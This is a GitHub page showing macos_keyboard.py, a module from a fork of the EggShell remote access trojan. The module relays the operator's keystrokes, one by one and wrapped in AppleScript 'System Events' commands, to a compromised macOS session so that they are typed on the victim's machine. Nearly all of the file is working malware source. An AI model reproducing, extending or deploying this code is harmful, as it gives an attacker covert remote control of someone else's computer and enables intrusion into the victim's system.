forked from The404Hacking/EggShell-RAT
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmacos_keyboard.py
More file actions
38 lines (35 loc) · 1.01 KB
/
Copy pathmacos_keyboard.py
File metadata and controls
38 lines (35 loc) · 1.01 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import time
import base64
try:
# Win32
from msvcrt import getch
except ImportError:
# UNIX
def getch():
import sys, tty, termios
fd = sys.stdin.fileno()
old = termios.tcgetattr(fd)
try:
tty.setraw(fd)
return sys.stdin.read(1)
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old)
class payload:
def __init__(self):
self.name = "keyboard"
self.description = "your keyboard -> is target's keyboard"
self.type = "applescript"
self.id = 115
def run(self,session,server,command):
#do something with conn if you want
print "type CTRL c to quit"
print "start typing..."
while 1:
key = getch()
if key == chr(03):
return ""
payload = """tell application "System Events"
keystroke \""""+key+"""\"
end tell"""
server.sendCommand("keystroke",payload,self.type,session.conn)
return ""